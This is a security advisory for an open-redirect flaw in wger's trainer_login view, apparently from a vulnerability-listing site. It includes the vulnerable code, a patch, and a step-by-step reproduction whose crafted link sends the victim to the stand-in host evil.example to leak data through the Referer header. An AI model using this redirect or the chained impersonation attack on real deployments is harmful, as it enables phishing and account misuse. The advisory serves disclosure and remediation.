| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| wger | < 2.6 | 2.6 |
The trainer_login view in wger redirects to request.GET['next'] directly via HttpResponseRedirect() without calling url_has_allowed_host_and_scheme(). After the trainer successfully enters impersonation mode, their browser is redirected to any attacker-controlled URL supplied in the ?next= parameter, enabling Referer exfiltration and phishing.
File: wger/core/views/user.py, approximately line 203
# VULNERABLE - wger/core/views/user.py
if not own:
request.session['trainer.identity'] = orig_user_pk
if request.GET.get('next'):
return HttpResponseRedirect(request.GET['next']) # no host/scheme validation
After the impersonation logic succeeds, the view performs no validation of the next parameter before issuing the redirect. An attacker who can deliver a crafted link (e.g. /en/user/2/trainer-login?next=https://evil.example/steal) to a trainer can redirect the trainer's browser to any external host immediately after the impersonation session is established. The Location header contains the raw attacker-controlled URL.
Affected endpoint:
GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login (the ?next= redirect branch)Suggested patch:
--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.utils.http import url_has_allowed_host_and_scheme
+
if not own:
request.session['trainer.identity'] = orig_user_pk
- if request.GET.get('next'):
- return HttpResponseRedirect(request.GET['next'])
+ next_url = request.GET.get('next')
+ if next_url and url_has_allowed_host_and_scheme(
+ next_url, allowed_hosts={request.get_host()}, require_https=request.is_secure()
+ ):
+ return HttpResponseRedirect(next_url)
return HttpResponseRedirect(reverse('core:index'))
Adding @require_POST to trainer_login (see also VULN-030) moves the next parameter to the POST body where CSRF protection applies and eliminates the combined CSRF + open-redirect attack surface entirely.
Tested on wger/server:latest Docker image. Victim: trainer1 (gym.gym_trainer permission).
Step 1 - Authenticate as trainer:
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
-> 302 Found; Set-Cookie: sessionid=[trainer1_session]
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンStep 2 - Trainer clicks (or is delivered) the crafted link:
GET /en/user/2/trainer-login?next=https://evil.example/steal HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
-> 302 Found
Location: https://evil.example/steal
Step 3 - Attacker server logs Referer:
Referer: http://target/en/user/2/trainer-login?next=https://evil.example/steal
(victim user_pk and next URL exposed)
Reproducibility: 2/2 runs.
An attacker who can deliver a crafted URL to a trainer (phishing email, malicious gym management system integration, social engineering) can redirect the trainer's browser to an attacker-controlled domain after the trainer enters impersonation mode. The redirect leaks:
user_pk) via the browser Referer header.credentials: 'include' targeting wger, any same-site cookie without SameSite=Strict is attached).Combined with the trainer-login scope bypass (submitted separately), this primitive allows an attacker to silently impersonate arbitrary gym=None users and then land the trainer on an attacker page for credential harvesting.
Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.
Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role), requires victim interaction (click), scope change (attacker's origin).